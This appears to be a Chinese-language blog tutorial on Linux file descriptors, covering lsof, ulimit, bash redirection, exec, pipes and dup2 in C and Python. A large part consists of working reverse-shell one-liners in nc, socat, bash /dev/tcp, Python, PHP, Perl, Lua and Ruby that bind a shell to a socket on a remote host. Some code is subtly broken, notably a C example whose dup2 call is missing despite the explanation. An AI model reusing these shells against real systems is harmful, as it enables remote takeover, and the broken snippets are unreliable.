首页 > 其他分享 >文件描述符终极使用

文件描述符终极使用

时间:2023-07-24 21:03:31浏览次数:36  
标签:文件 socket exec 描述符 进程 终极 bash


0x01 文件描述符介绍

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。这个操作包含各种文件的读写,程序的输入输出等。

0x1 文件与文件描述符

文件描述符最终对应的是文件,文件包含多种类型文件又可分为:普通文件、目录文件、链接文件和设备文件。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。POSIX标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号码.

0x2 相互关系

其中进程,文件,文件描述符的关系如下:

  1. 一个进程可以有多个文件描述符
  2. 一个文件可以由多个文件描述符对应,文件描述符可以是不同进程
  3. 一个文件描述符只能对应一个文件

具体关系图如下

文件描述符终极使用_描述符

文件描述符映射到文件

第一列是用户态进程符号描述表,后两列是内核态系统级表项。具体从文件描述符到文件,先从文件描述符表开始索引,定位到文件句柄指针,接着找到打开文件表,存储着文件的状态,包括偏移,inode号等,不同的文件描述符可以指向相同的文件句柄指针(可用dup或dup2函数实现)。

0x3 操作指令

lsof

lsof是列出系统所占用的资源(list open files),其中包括句柄资源。

lsof -a -p pid -d0,1,2,3#查看进程的文件描述符lsof -w -n #查看所有使用的文件



ulimit

 ulimit主要是用来限制进程对资源的使用情况的,它支持各种类型的限制,包括打开文件句柄数限制。

ulimit -n #查看进程允许打开的最大文件句柄数
ulimit -n pid#设置进程能打开的最大文件句柄数

看完了内容,做个实验放松一下:Web操作系统基础-Linux

文件描述符终极使用_文件描述符_02

0x02 Shell中的文件描述符

在shell中使用的文件描述符总共有三种只读,只写,读写,参见下图:

文件描述符终极使用_文件描述符_03

文件描述符种类

在FD一列分别是u,w,r,其中u代表可读可写,一般来讲>代表写,<代表读 在shell中所有的文件描述符都是要被继承的,因为shell中执行命令其实是在子进程中执行命令,子进程会继承父进程所有的环境变量,文件描述符等。

0x1 bash重定向

命令

echo "asd" > hello

cat - < hello

echo "asd" > hello 2>&1

echo "asd" > hello 将标准输出重定向到文件,这样命令执行的结果会全部写在hello文件中。此命令等价于echo "asd">&hello


cat - < hello 将标准输入重定向到文件,cat - 意思是接受标准输入为文件进行输出,此命令等价于以下几个命令 cat hello | cat -exec 0<hello;cat - 第一种只是多此一举,单纯的为了演示cat -的其他使用方法,该命令成功的原因在于管道符| 将管道符之后的命令的标准输入设置成了前一个指令的标准输出。第二种首先修改程序标准输入对应的文件为hello文件,其次执行cat -就会从标准输入中读取这是的标准输入文件已经成为了hello文件。


echo "asd" > hello 2>&1 ,主要是2>&1这个在下面的exec指令中会经常遇到,首先>&是赋值后者描述符的输出属性,<&是赋值后者描述符的输入属性。

0x2 exec

exec指令是linux shell自带的指令,可以利用此指令修改,保存当前进程的文件描述符指向。

命令

exec 3<>hello

exec 3>hello

exec 3<hello

exec 3>&2

exec 3<&1

exec 3&-

exec 0<hello

exec 3<>hello,将该shell的3号描述符制定到hello文件上并设置可读可写属性

文件描述符终极使用_文件描述符_04

命令执行图


exec 3>hello ,exec 3<hello分别以输出和输入的方式重定向文件描述符3对应的文件

文件描述符终极使用_描述符_05

输出重定向

文件描述符终极使用_描述符_06

输入重定向


exec 3>&2 复制文件描述符2对应的文件到3描述符并赋予写属性 exec 3<&1 复制文件描述符1对应的文件到3描述符并赋予读属性


exec 3>&- 关闭文件描述符

文件描述符终极使用_描述符_07

关闭文件描述符


exec 0<hello 将0文件描述符的文件重定向到hello文件上

文件描述符终极使用_文件描述符_08

不过此时在当前shell中仍然可以输入,原因是shell的输入是直接从键盘获取的,0号描述符只是影响了shell中启动的子进程。

比如cat - 会直接从标准输入中获取内容。

0x3 socket 套接字与描述符

在bash中利用socket可以实现很多功能,包括反弹shell,接受文件等。

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.xx.xx 4430 1>/tmp/backpipe

文件描述符终极使用_文件描述符_09

nc-socket文件描述符

主机一二之间利用socket套接字连接,文件描述符3代表新创建的socket套接字,管道符|使得/bin/bash的输出成为了nc的输入,同时nc将输出重定向到了pipe文件与/bin/bash的输入同一文件,具体关系如下

文件描述符终极使用_描述符_10

socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.0.119:9999

文件描述符终极使用_文件描述符_11

socat-socket文件描述符

exec 22<>/dev/tcp/192.168.0.119/4444
sh <&22 >&22 2>&22

该方法先把socket套接字保存为文件描述符,再将子进程sh的所有文件描述符重定向到socket文件描述上

文件描述符终极使用_文件描述符_12

0x03 程序中的文件描述符利用

在程序中文件描述符和管道可以用于进程通信等,同时在反弹shell方面有着较好的实用性。从多个语言的不同功能描述管道与文件描述符在实际使用中的作用。包含C、python、php、perl、Ruby、Lua多种语言在内的测试代码以及结果。

函数

功能

dup(a)

复制文件描述符a所关联的文件

dup2(a,b)

将a的赋值给b

0x1 c语言

利用管道及文件描述符实现进程间的通信,

#include "stdio.h"
#include <unistd.h>
#include <sys/types.h>
int main() {
  char buffer[1024] = {0};
  int len;
  int pfd[2];
  int status;
  int pid;
  /* create pipe */
  if (pipe(pfd)<0)
      return -1;
  /* fork to execute external program or scripts */
  pid = fork();
  if (pid<0) {
    return 0;
  } else if (pid==0) {
    /* child process */
    dup2(pfd[1], STDOUT_FILENO);
    close(pfd[0]);
    char *cmd[] = {"bash","-c","echo '111'",NULL};
    /* execute CGI */
    execv("/bin/bash",cmd);
    exit(0);
  } else {
    /* parent process */
    close(pfd[1]);
    /* print output from CGI */
    while((len=read(pfd[0], buffer, 1023))>0) {
      buffer[len] = '\0';
      printf("qqqqq%s\n", buffer);
    }
    /* waiting for CGI */
    waitpid((pid_t)pid, &status, 0);
  }
}

代码创建了一对管道如图所示:

文件描述符终极使用_描述符_13


fork过后,父子进程都连接pipe的读写端,与shell一样0,1描述符都是代表读写,对象是描述符文件,从描述符文件中读,写到描述符文件中。同时要关闭不必要的文件描述符读写端各保留一个。


文件描述符终极使用_文件描述符_14

fork pipe示意图


该示例把子进程输出重定向到文件,代码及解释如下:

#include "stdio.h"
#include "unistd.h"
#include "sys/types.h"
#include "fcntl.h"
int main() {
  char buffer[1024] = {0};
  int len;
  int status;
  int pid,fd;
  fd = open("data.in",O_WRONLY);
  /* fork to execute external program or scripts */
  pid = fork();
  if (pid==0) {
    /* child process */
    (fd, STDOUT_FILENO);
    char *cmd[] = {
      "bash","-c","echo '111'",NULL
    };
    /* execute CGI */
    execv("/bin/bash",cmd);
    exit(0);
  } else {
    waitpid((pid_t)pid, &status, 0);
  }
}

文件描述符终极使用_文件描述符_15


代码15行dup2(a,b)函数将a的描述符文件赋值给b,可以把子进程的执行结果在文件中保存。


0x2 python

#!/usr/bin/env python
# coding=utf-8
import os,sys
aaa = os.open("./data.out",os.O_WRONLY)
pid = os.fork()
if pid ==0 :
    os.dup2(aaa,1)
    cmd = ["/bin/bash","-c","echo 'aaaa'"]
    os.execv(cmd[0],cmd)

利用python代码实现了c语言版子进程命令执行结果保存到文件。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

创建socket套接字,并将0,1,2描述符重定向到套接字上,执行subprocess继承当前进程的文件描述符状态,将bash的输入输出与套接字绑定实现反弹。

0x3 phpphp -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

文件描述符终极使用_bash_16

php代码对应的文件描述符

根据文件描述符都是递增的道理,创建新的文件描述符之后其大小应该为3,所以直接将0,1,2重定向到了3,就完成了把bash的输入输出和socket绑定操作。

0x4 perl

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

文件描述符终极使用_bash_17

perl代码 子程序 文件描述符

在perl代码中,重定向函数为open,open(STDOUT, ">file1")翻译为将替换STDOUT指向的文件为file1;open(STDIN,">&S")翻译为替换STDIN指向的文件为S指向的文件。

0x5 lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

文件描述符终极使用_文件描述符_18

lua 代码文件描述符

和php类似的现象,文件描述符编号递增,接着把bash输入输出重定向到socket

0x6 ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

同上php和lua的重定向原理


ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.115","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

文件描述符终极使用_文件描述符_19

ruby代码文件描述符

脱离了系统自带的bash,将socket和程序cmd IO绑定起来,利用|实现重定向。

0x04 总结

从基础shell的文件描述符到程序中的文件描述符。可以总结几个比较重要的点

  1. 文件描述符在用户态,同时在系统中会对应一个文件
  2. 文件描述符对应的文件可以有多种类型,pipe,文件,终端等
  3. 0,1,2是程序默认的输入,输出,错误输出,新的文件描述符号会递增
  4. 子进程会继承所有父进程的文件描述符状态
  5. 文件描述符有很多赋值操作例如exec ,>&, <&,>,<

点击获取:2019原创干货集锦 | 掌握学习主动权

大家有好的技术原创文章

有才能的你快来投稿吧!

文件描述符终极使用_描述符_20


标签:文件,socket,exec,描述符,进程,终极,bash
From: https://blog.51cto.com/u_14601424/6839339

相关文章

  • php文件上传
    1、前端<formaction="upload_file.php"method="post"enctype="multipart/form-data">    <labelfor="file">文件名:</label>    <inputtype="file"name="file"id="file">......
  • php 文件包含
    include和require除了处理错误的方式不同之外,在其他方面都是相同的:require生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。include生成一个警告(E_WARNING),在错误发生后脚本会继续执行。include'filename';或者require'filename'; ......
  • JS中文件相关的知识(一):MIME类型
    不知道有没有同学和我一样,写代码时一遇到文件操作就犯怵,必须要先去把知识补一遍再说;对于Content-Type、responseType、ArrayBuffer、buffer、blob、file等这些词汇,心里问号一大堆,从来都没有真正区分清楚过;这样下去不是办法呀,真的猛士,应该敢于...一百次浮于表面,不如一次深入骨髓。......
  • Visual Studio 启动调试程序 以管理员运行的设置(相比右键管理员运行生成好的exe文件优
    在解决方案文件上,选择添加=>新项目=>应用程序清单文件然后在C#上打开它。在应用程序清单文件上,将“asInvoker”重命名为“requireAdministrator”。生成解决方案。可以管理员权限打开所有应用程序。......
  • util文件汇总
        1.判断两个对象比较属性键的顺序是否一样 1exportfunctionisObjectOrderSame(obj1:any,obj2:any){2constkeys1=Object.keys(obj1);3constkeys2=Object.keys(obj2);4if(keys1.length!==keys2.length){5returnfalse;6}7......
  • ts项目引用js文件
    1、template- index.html-head添加:  <script type="text/javascript" src="<%= BASE_URL %>assets/lib/jquery.js"></script>2、types-j-query.d.ts添加: declare module 'jQuery'3、vue.config.js- configureWebpack-e......
  • sublime运行php文件
    sublime运行php文件使用sublime打开一个php文件然后Tools—>BuildSystem—>NewBuildSystem将以上打开的文件内容修改成以下内容:{"cmd":["C:/phpStudy/PHPTutorial/php/php-5.4.45/php.exe","$file"],"file_regex":"......
  • 前端文件下载方法封装
    1exportconstdownloadFileAxios=(fileUrl)=>{2axios({3url:fileUrl,4method:'GET',5responseType:'blob',6}).then((response)=>{7constcontentDisposition=respon......
  • odoo16 Controller文件上传
    服务端1importlogging2importjson3frombase64importb64encode4fromodooimporthttp,SUPERUSER_ID,_5fromodoo.httpimportrequest67_logger=logging.getLogger(__name__)89classMain(http.Controller):[email protected]('......
  • 修改 Joomla! 1.5 的 HTML 输出而不动核心文件 (附api文档)
    现在到了Joomla!1.5平台,前面这个方法不灵了。不过,Joomla!开发团队早就给出了更好的方案,总结起来就是3个字母:MVC。  MVCinphpProgramming MVC等几个概念     MVC是Model-View-Controller(模型-视图-控制器)的缩写。这是Joomla!1.5采纳的一种新型的......